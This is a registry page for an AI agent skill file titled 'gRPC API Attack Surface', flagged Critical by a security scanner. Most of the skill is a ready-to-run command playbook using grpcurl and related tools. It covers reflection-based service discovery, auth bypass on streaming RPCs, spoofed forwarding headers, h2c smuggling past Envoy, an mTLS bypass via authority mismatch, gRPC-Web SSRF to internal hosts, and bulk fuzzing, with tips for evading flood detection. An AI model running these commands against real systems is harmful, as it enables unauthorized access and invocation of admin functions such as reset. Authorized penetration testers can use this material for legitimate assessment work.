CtrlK
BlogDocsLog inGet started
Tessl Logo

api-grpc

gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.

69

Quality

85%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

gRPC API Attack Surface

Discovery

# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'

# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method

# 3. If reflection disabled, grab .proto from:
#   - Sourcemap of a gRPC-Web client app
#   - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
#   - Mobile app (apktool + jadx → search for FileDescriptorProto)

Attack patterns

Missing authz on streaming RPCs

Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:

grpcurl -plaintext -H "authorization: bearer" target:50051 \
  mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth check

Protobuf field-number reuse / unknown-field exfil

Send a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via UnknownField handling.

echo '{"id": 1, "1000000": "hidden field"}' | \
  grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get

Metadata header injection

gRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:

grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
  -H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/Reset

h2c smuggling — gRPC fronted by Envoy/nginx

HTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:

# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051

mTLS bypass via SNI mismatch

If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:

# Connect with cert for `legit.com` but Host header `admin-internal`
grpcurl -cacert ca.crt -cert legit.crt -key legit.key \
  -authority admin-internal target:443 mypackage.AdminService/Reset

gRPC-Web → backend SSRF

gRPC-Web translates browser HTTP → backend gRPC. Sometimes the translator allows arbitrary upstream:

# If the Envoy filter is misconfigured:
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset

Fuzz strategy

# 1. Pull all the proto definitions
grpcurl -plaintext target:50051 describe -msg-template > schema.txt

# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem
mayhem run grpcfuzzer -t target:50051 -s schema.txt

# 3. Or manual: enumerate Method/{empty,minimal,max,min,negative,oversized}
for m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do
  echo "=== $m ==="
  grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5
done

OPSEC

  • gRPC error responses leak internal types (stack traces in google.rpc.Status.details). Even hardened servers leak via timing on encrypted channels.
  • HTTP/2 connection re-use makes per-request rate limiting brittle — flood detection often misses.

References

  • "Attacking gRPC" — NCC Group whitepaper
  • grpcurl manual — github.com/fullstorydev/grpcurl
  • protoc-gen-grpc-web — gRPC-Web spec
  • DEFCON 30 "Cloud Native Track" — gRPC attack patterns
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.